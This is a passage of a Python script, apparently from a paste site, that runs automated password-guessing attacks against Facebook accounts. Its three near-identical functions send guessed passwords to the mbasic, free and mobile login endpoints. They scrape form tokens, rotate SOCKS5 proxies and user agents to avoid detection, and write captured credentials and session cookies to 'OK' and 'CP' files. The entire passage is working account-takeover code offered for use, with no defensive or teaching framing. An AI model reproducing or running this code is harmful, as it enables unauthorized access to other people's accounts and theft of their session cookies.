- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[bold green]{idf}|{pw}")
- tree.add(f"[bold green]{kuki}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #------------------[ METHODE-MBASIC-2 ]-------------------#
- def crackmbasic(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=957549474255294&kid_directed_site=0&app_id=957549474255294&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv15.0%2Fdialog%2Foauth%3Fapp_id%3D957549474255294%26cbt%3D1674462799035%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df37e1dd3ab11c1c%2526domain%253Dshopee.co.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fshopee.co.id%25252Ff105f43f84019bc%2526relation%253Dopener%26client_id%3D957549474255294%26display%3Dtouch%26domain%3Dshopee.co.id%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fshopee.co.id%252Fbuyer%252Flogin%253Ffrom%253D%25252F%25253Fgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526referrer%25253Dgclid%2525253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526gref%25253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526gclid%253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%2526gref%253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526next%253D%25252F%25253Fgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526referrer%25253Dgclid%2525253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526gref%25253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526referrer%253Dgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%26locale%3Den_US%26logger_id%3Df140278bad38654%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df2b8e6f14042eb4%2526domain%253Dshopee.co.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fshopee.co.id%25252Ff105f43f84019bc%2526relation%253Dopener%2526frame%253Df3ce5af1e409b1c%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Dpublic_profile%252Cemail%26sdk%3Djoey%26version%3Dv15.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df2b8e6f14042eb4%26domain%3Dshopee.co.id%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fshopee.co.id%252Ff105f43f84019bc%26relation%3Dopener%26frame%3Df3ce5af1e409b1c%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[bold yellow]{idf}|{pw}")
- tree.add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[bold green]{idf}|{pw}")
- tree.add(f"[bold green]{kuki}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #------------------[ METHODE-FREE]-------------------#
- def crackfree(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login.php?skip_api_login=1&api_key=1132078350149238&kid_directed_site=0&app_id=1132078350149238&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D1132078350149238%26redirect_uri%3Dhttps%253A%252F%252Faccounts.epicgames.com%252FOAuthAuthorized%26state%3DeyJpZCI6IjQ1ZTQ3OWZmMzNjMjQ4OTdiODczOWIxNjgwMDliMTc0In0%253D%26scope%3Demail%252Cpublic_profile%252Cuser_friends%26service_entity%3Dundefined%26force_verify%3Dtrue%26response_type%3Dcode%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db925305a-89b3-4081-9c07-b4993ab25dc7%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DeyJpZCI6IjQ1ZTQ3OWZmMzNjMjQ4OTdiODczOWIxNjgwMDliMTc0In0%253D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
- po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[bold yellow]{idf}|{pw}")
- tree.add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[bold green]{idf}|{pw}")
- tree.add(f"[bold green]{kuki}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ MOBILE V2 ]--------------------#
- def cracktouch(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[bold yellow]{idf}|{pw}")
- tree.add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[bold green]{idf}|{pw}")
- tree.add(f"[bold green]{kuki}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('/sdcard/BrayennnXD')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- try:os.system('clear')
- except:pass
- login()
Add Comment
Please, Sign In to add comment